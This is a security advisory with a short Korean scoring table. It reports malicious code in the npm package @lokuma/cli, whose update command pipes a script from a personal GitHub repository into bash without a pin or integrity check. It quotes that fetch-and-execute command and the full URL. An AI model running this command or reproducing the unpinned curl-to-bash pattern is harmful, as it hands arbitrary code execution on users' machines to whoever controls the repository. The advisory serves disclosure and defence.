Malicious code in @lokuma/cli (npm)
-= Per source details. Do not edit below this line.=-
The update subcommand of this CLI executes curl -fsSL <url> | bash where the URL is https://raw.githubusercontent.com/Mumu090909/lokuma-da-v2-trial/main/installer/install-v2-trial.sh — a mutable main branch on a personal GitHub account (Mumu090909) that does not match the package's declared publisher (scope @lokuma, author hello@lokuma.ai, repo github.com/lokuma-web/lokuma-cli, homepage lokuma.ai). The fetch has no commit pin, no hash, and no signature check. README instructs users to run lokuma update, so any user following the documented upgrade path will execute whatever shell script Mumu090909 chooses to host at that path on any future date. Whoever controls that personal repository can run arbitrary commands as the invoking user on every machine that runs the update command. The publisher mismatch (a personal account fronting an installer for a scoped vendor package) and the README/homepage TLD inconsistency (lokuma.ai vs lokuma.io) further weaken any benign reading.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준